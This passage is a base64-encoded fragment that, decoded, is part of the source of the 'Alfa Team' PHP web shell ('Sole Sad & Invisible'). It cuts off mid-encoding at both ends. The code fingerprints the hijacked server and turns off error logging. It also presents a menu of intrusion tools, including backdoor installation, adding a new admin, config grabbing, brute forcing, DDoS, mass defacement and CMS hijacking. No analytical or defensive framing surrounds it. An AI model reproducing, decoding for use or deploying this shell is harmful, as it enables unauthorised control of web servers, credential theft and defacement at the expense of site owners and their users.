tlLmNoZWNrZWQ9dH0pfWZ1bmN0aW9uIHJ1bmNnaShlKXtpZigkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0idW5zZXQiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlciAub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDZ2kgU2hlbGwiLGNnaV9pc19taW5pbWl6ZWQmJmNnaV9sYW5nPT1lJiYoc2hvd0VkaXRvcigiY2dpbG9hZGVyIiksMD09cGhwX3RlbXJpbmFsX3VzaW5nX2NnaSkpcmV0dXJuITE7cGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNnaXNoZWxsIikrIiZhbGZhMT0iK2FsZmFiNjQoZSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGEpe2QuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIiwkKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5uZXJIVE1MPWEsY2dpX2xhbmc9ZSxjZ2lfaXNfbWluaW1pemVkJiYoJCgiY2dpbG9hZGVyLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtaGlkZSIpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXskKCJjZ2lsb2FkZXIiKS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksaXNfbWluaW1pemVkJiYoJCgiZWRpdG9yLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIil9LDFlMykpfSl9RWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQWZ0ZXI9ZnVuY3Rpb24oZSl7ZS5wYXJlbnROb2RlLmluc2VydEJlZm9yZSh0aGlzLGUubmV4dFNpYmxpbmcpfTsKPC9zY3JpcHQ+Cjw/cGhwIGVjaG8iPGZvcm0gc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdkbEZvcm0nIGFjdGlvbj0nJyB0YXJnZXQ9J19ibGFuaycgbWV0aG9kPSdwb3N0Jz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2RsZmlsZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPScnPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmaWxlJyB2YWx1ZT0nJz4KPC9mb3JtPgo8aW5wdXQgdHlwZT0nZmlsZScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdpbXBvcnRGaWxlQnRuJyBvbmNoYW5nZT0naW1wb3J0Q29uZmlnKGV2ZW50KTsnPgo8ZGl2IGlkPSdhX2xvYWRlcic+PGltZyBzcmM9JyIuX19zaG93aWNvbignbG9hZGVyJykuIic+PC9kaXY+IjsKJGNtZF91bmFtZSA9IGFsZmFFeCgidW5hbWUgLWEiLGZhbHNlLGZhbHNlKTsKJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7CmlmKCR1bmFtZT09IiggcGhwX3VuYW1lICkgRnVuY3Rpb24gRGlzYWJsZWQgISIpeyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fQplY2hvICcKPC9oZWFkPgo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiBsZWZ0bWFyZ2luPSIwIiB0b3BtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8ZGl2IGlkPSJ1cF9iYXJfaG9sZGVyIj48L2Rpdj4KPGRpdiBjbGFzcz0id2hvbGUiPgo8Zm9ybSBtZXRob2Q9InBvc3QiIG5hbWU9Im1mIiBzdHlsZT0iZGlzcGxheTpub25lOyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+JzsKZm9yKCRzPTE7JHM8PTEwOyRzKyspewplY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhbGZhJy4kcy4nIj4nOwp9CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiPgo8L2Zvcm0+CjxkaXYgaWQ9XCdoaWRkZW5fc2hcJz48YSBjbGFzcz0iYWxlcnRfZ3JlZW4iIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/c29sZXZpc2libGUiPjxzcGFuIHN0eWxlPSJjb2xvcjojNDJmZjU5OyI+Jy5fX0FMRkFfQ09ERV9OQU1FX18uJzwvc3Bhbj48YnI+PHNtYWxsPlZlcnNpb246IDxzcGFuIGNsYXNzPSJoaWRkZW5fc2hlbGxfdmVyc2lvbiI+Jy5fX0FMRkFfVkVSU0lPTl9fLic8L3NwYW4+PC9zbWFsbD48L2E+PC9kaXY+CjxkaXYgY2xhc3M9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VW5hbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91bmFtZSI+Jy4kdW5hbWUuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZXI6PC9zcGFuPjwvdGQ+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VyaWQiPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBHcm91cDogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2dyb3VwaWQiPicgLiAkZ2lkIC4gJyBbICcgLiAkZ3JvdXAgLiAnIF08L3NwYW4+IDwvdGQ+Cjx0ZCB3aWR0aD0iMTIlIiByb3dzcGFuPSI4Ij48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIxNzAiIGFsdD0iYWxmYSB0ZWFtIDIwMTIiIGRyYWdnYWJsZT0iZmFsc2UiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBIUDo8L3NwYW4+PC90ZD4KPHRkPjxiPicuQHBocHZlcnNpb24oKS4gJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZSBNb2RlOiAnLiRzYWZlX21vZGVzLic8L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TZXJ2ZXJJUDo8L3NwYW4+PC90ZD4KPHRkPjxiPicuKCFAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0/KGZ1bmN0aW9uX2V4aXN0cygiZ2V0aG9zdGJ5bmFtZSIpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTonPz8/PycpOkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSkuJzwvYj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZTtkaXNwbGF5Om5vbmU7IiBjbGFzcz0iZmxhZy1ob2xkZXIiPjwvZGl2PiA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPllvdXIgSVA6PC9zcGFuPjxiPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+PC90ZD4KPC90cj4KPHRyPgo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRhdGVUaW1lOjwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5kYXRlKCdZLW0tZCBIOmk6cycpLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb21haW5zOjwvc3Bhbj48L3RkPgo8dGQgd2lkdGg9Ijc2JSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG9tYWlucyI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokZDBtYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIsZmFsc2UpOwppZighJGQwbWFpbnMpe2VjaG8gIkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdIjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl09InRydWUiO31lbHNlewokY291bnQ9MDsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoQHN0cnN0cigkZDBtYWluLCJ6b25lIikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewpmbHVzaCgpOwokY291bnQrKzt9fX0KZWNobyAiJGNvdW50IERvbWFpbnMiO319CmVsc2V7ZWNobygiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iKTt9CmVjaG8gJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2Ij48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkhERDo8L3NwYW4+PC90ZD4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VG90YWw6PC9zcGFuPjxiPicuYWxmYVNpemUoJHRvdGFsU3BhY2UpLicgPC9iPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RnJlZTo8L3NwYW4+PGI+JyAuIGFsZmFTaXplKCRmcmVlU3BhY2UpIC4gJyBbJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclXTwvYj48L3RkPgo8L3RyPic7CmlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsKJHVzZWZ1bF9kb3dubG9hZGVyID0gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj51c2VmdWw6PC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VzZWZ1bCI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2Rvd25sb2FkZXIiPi0tLS0tLS0tLS0tLS0tPC9zcGFuPjwvdGQ+PC90cj4nOwppZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKXsKaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLGZhbHNlKSk+MCl7CmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VmdWwgOiA8L3NwYW4+JzsKJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppYWxmYTInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiR4PTA7CmZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0paWYoYWxmYVdoaWNoKCRpdGVtKSl7JHgrKztlY2hvICc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nLiRpdGVtLic8L3NwYW4+Jzt9CmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl91c2VmdWwnPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj4nOwokZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKJHg9MDsKZm9yZWFjaCgkZG93bmxvYWRlcnMgYXMgJGl0ZW0yKWlmKGFsZmFXaGljaCgkaXRlbTIpKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0yLic8L3NwYW4+Jzt9CmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl9kb3dubG9hZGVyJz4tLS0tLS0tLS0tLS0tLTwvc3Bhbj4iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjt9CmVjaG8gJzwvdGQ+CjwvdHI+JzsKfWVsc2V7CmVjaG8gJHVzZWZ1bF9kb3dubG9hZGVyOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjsKfQp9ZWxzZXsKZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+V2luZG93czo8L3NwYW4+PGI+JzsKZWNobyBhbGZhRXgoJ3ZlcicsZmFsc2UsZmFsc2UpOwplY2hvICc8L3RkPgo8L3RyPiA8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPjxiPi0tLS0tLS0tLS0tLS08L2I+PC90ZD4KPC90cj48L2I+JzsKfQokcXVvdGVzID0gKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKT9nZXRfbWFnaWNfcXVvdGVzX2dwYygpOicwJyk7aWYgKCRxdW90ZXMgPT0gIjEiIG9yICRxdW90ZXMgPT0gIm9uIil7JG1hZ2ljID0gJzxiPjxzcGFuIGNsYXNzPSJoZWFkZXJfb24iPk9OPC9zcGFuPic7fWVsc2V7JG1hZ2ljID0gJzxzcGFuIGNsYXNzPSJoZWFkZXJfb2ZmIj5PRkY8L3NwYW4+Jzt9CmVjaG8gJzx0cj4KPHRkIGhlaWdodD0iMTYiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RGlzYWJsZSBGdW5jdGlvbnM6IDwvc3Bhbj48Yj4nLkFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5DVVJMIDo8L3NwYW4+Jy4kY3VybC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TU0gyIDogPC9zcGFuPicuJHNzaDIuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TWFnaWMgUXVvdGVzIDogPC9zcGFuPicuJG1hZ2ljLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBNeVNRTCA6PC9zcGFuPicuJG15c3FsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk1TU1FMIDo8L3NwYW4+Jy4kbXNzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFBvc3RncmVTUUwgOjwvc3Bhbj4nLiRwZy4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gT3JhY2xlIDo8L3NwYW4+Jy4kb3IuJyAnLigkR0xPQkFMU1snc3lzJ109PSJ1bml4Ij8nfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBDR0kgOjwvc3Bhbj4gJy4kY2dpX3NoZWxsOiIiKS4nPC90ZD48dGQgd2lkdGg9IjE1JSI+PGRpdiBpZD0iYWxmYV9zb2xldmlzaWJsZSI+PGNlbnRlcj48YSBocmVmPSJodHRwczovL3QubWUvc29sZXZpc2libGUiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjbGFzcz0ic29sZXZpc2libGUtdGV4dCIgY29sb3I9IiMwRjAiPlNvbGUgU2FkICYgSW52aXNpYmxlPC9mb250Pjwvc3Bhbj48L2E+PC9jZW50ZXI+PC9kaXY+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxMSIgY29sc3Bhbj0iMyI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5PcGVuX2Jhc2VkaXIgOjwvc3Bhbj48Yj4nLiRvcGVuX2IuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNhZmVfbW9kZV9leGVjX2RpciA6PC9zcGFuPjxiPicuJHNhZmVfZXhlLic8L2I+IHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZV9tb2RlX2luY2x1ZGVfZGlyIDo8L3NwYW4+PC9iPicuJHNhZmVfaW5jbHVkZS4nPC9iPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTEiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U29mdFdhcmU6IDwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5AZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CmVjaG8gJzx0cj4KPHRkIGhlaWdodD0iMTIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RFJJVkU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLiRkcml2ZXMuJzwvYj48L3RkPgo8L3RyPic7Cn0KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5QV0Q6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBpZD0iaGVhZGVyX2N3ZCI+Jy4kY3dkX2xpbmtzLicgPC9zcGFuPjxhIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48c3BhbiBjbGFzcz0iaG9tZV9zaGVsbCI+WyBIb21lIFNoZWxsIF08L3NwYW4+IDwvYT48L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPGRpdiBpZD0ibWV1bmxpc3QiPgo8dWw+Cic7CiRsaSA9IGFycmF5KCdwcm9jJz0+J1Byb2Nlc3MnLCdwaHBldmFsJz0+J0V2YWwnLCdzcWwnPT4nU1FMIE1hbmFnZXInLCdkdW1wZXInPT4nRGF0YWJhc2UgRHVtcGVyJywnY29sZHVtcGVyJz0+J0NvbHVtbiBEdW1wZXInLCdoYXNoJz0+J0VuLURlY29kZXInLCdjb25uZWN0Jz0+J0JDJywKJ3pvbmVoJz0+J1pPTkUtSCcsJ2Rvcyc9PidERE9TJywnc2FmZSc9PidCeVBhc3NlcicsJ2NnaXNoZWxsJz0+J0NnaSBTaGVsbCcsJ3NzaVNoZWxsJz0+J1NTSSBTSEVMTCcsJ2NwY3JhY2snPT4nSGFzaCBUb29scycsCidwb3J0c2Nhbm5lcic9PidQb3J0IFNjYW5lcicsJ2Jhc2VkaXInPT4nT3BlbiBCYXNlRGlyJywnbWFpbCc9PidGYWtlIE1haWwnLCd6aXBlcic9PidDb21wcmVzc29yJywnZGV6aXBlcic9PidEZUNvbXByZXNzb3InLCdJbmRleENoYW5nZXInPT4nSW5kZXggQ2hhbmdlcicsJ3B3Y2hhbmdlcic9PidBZGQgTmV3IEFkbWluJywnU2hlbGxJbmplY3RvcnMnPT4nU2hlbGwgSW5qZWN0b3JzJywKJ3BocDJ4bWwnPT4nUEhQMlhNTCcsJ2Nsb3VkZmxhcmUnPT4nQ2xvdWRGbGFyZScsJ1dobWNzJz0+J1dobWNzIERlQ29kZXInLCdzeW1saW5rJz0+J1N5bWxpbmsnLCdNYXNzRGVmYWNlcic9PidNYXNzIERlZmFjZXInLCdDcmFja2Vycyc9PidCcnV0ZUZvcmNlcicsJ3NlYXJjaGVyJz0+J1NlYXJjaGVyJywnY29uZmlnX2dyYWJiZXInPT4nQ29uZmlnIEdyYWJiZXInLCdmYWtlcGFnZSc9PidGYWtlIFBhZ2UnLCdhcmNoaXZlX21hbmFnZXInPT4nQXJjaGl2ZSBNYW5hZ2VyJywKJ2Ntc2hpamFja2VyJz0+J0NNUyBIaWphY2tlcicsJ3JlbW90ZWRsJz0+J1JlbW90ZSBVcGxvYWQnLCdpbmJhY2tkb29yJz0+J0luc3RhbGwgQmFja0Rvb3InLCd3aG9pcyc9PidXaG9pcycsJ3NlbGZybSc9PidSZW1vdmUgU2hlbGwnCik7CmZvcmVhY2goJGxpIGFzICRrZXk9PiR2YWx1ZSl7CmVjaG8oJzxsaT48YSBpZD0ibWVudV9vcHRfJy4ka2V5LiciIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PScuJGtleS4nIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PScuJGtleS4nXCc7ZyhcJycuJGtleS4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij4nLiR2YWx1ZS4nPC9hPjwvbGk+Jy4iXG4iKTsKfQplY2hvICc8L3VsPjxkaXYgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtwYWRkaW5nOiA2cHg7Ij48YSBpZD0ibWVudV9vcHRfc2V0dGluZ3MiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PXNldHRpbmdzIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PXNldHRpbmdzXCc7ZyhcJ3NldHRpbmdzXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij5BbGZhIFNldHRpbmdzPC9hPjxhIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBpZD0ibWVudV9vcHRfbWFya2V0IiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1tYXJrZXQiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9ImFsZmFfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9bWFya2V0XCc7ZyhcJ21hcmtldFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+PHNwYW4gY2xhc3M9ImFsZmFfcGx1cyI+QWxmYSBtYXJrZXQ8L3NwYW4+PC9hPjxhIGlkPSJtZW51X29wdF9hYm91dHVzIiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1hYm91dHVzIiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PWFib3V0dXNcJztnKFwnYWJvdXR1c1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+QWJvdXQgVXM8L2E+Jy4oIWVtcHR5KCRfQ09PS0lFWydBbGZhVXNlciddKSAmJiAhZW1wdHkoJF9DT09LSUVbJ0FsZmFQYXNzJ10pID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImFsZmFMb2dPdXQoKTsiPjxmb250IGNvbG9yPSJyZWQiPkxvZ091dDwvZm9udD48L2E+JzonJykuJzwvZGl2PjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX3RhYnMiPjxkaXYgb25tb3VzZW92ZXI9ImFsZmFGaWxlc21hblRhYlNob3dUaXRsZSh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImFsZmFGaWxlc21hblRhYkhpZGVUaXRsZSh0aGlzLGV2ZW50KTsiIGZtX2NvdW50ZXI9IjEiIHBhdGg9IicuJEdMT0JBTFNbJ2N3ZCddLiciIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5fdGFiXzEiIGNsYXNzPSJmaWxlc21hbl90YWIgZmlsZXNtYW4tdGFiLWFjdGl2ZSIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyI+PGltZyBjbGFzcz0iZm9sZGVyLXRhYi1pY29uIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9mb2xkZXIyLnN2ZyI+IDxzcGFuPkZpbGUgbWFuYWdlcjwvc3Bhbj48L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsiIGlkPSJmaWxlc21hbl90YWJzX2NoaWxkIj48L2Rpdj48ZGl2IGlkPSJmaWxlc21hbl9uZXdfdGFiIiBjbGFzcz0iZmlsZXNtYW5fdGFiIiBzdHlsZT0iYmFja2dyb3VuZDogbWFyb29uOyIgb25DbGljaz0iYWxmYUZpbGVzTWFuTmV3VGFiKGNfLFwnL1wnLDEpOyI+TmV3IFRhYiArPC9kaXY+PC9kaXY+Jzt9ZWxzZXsKQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsID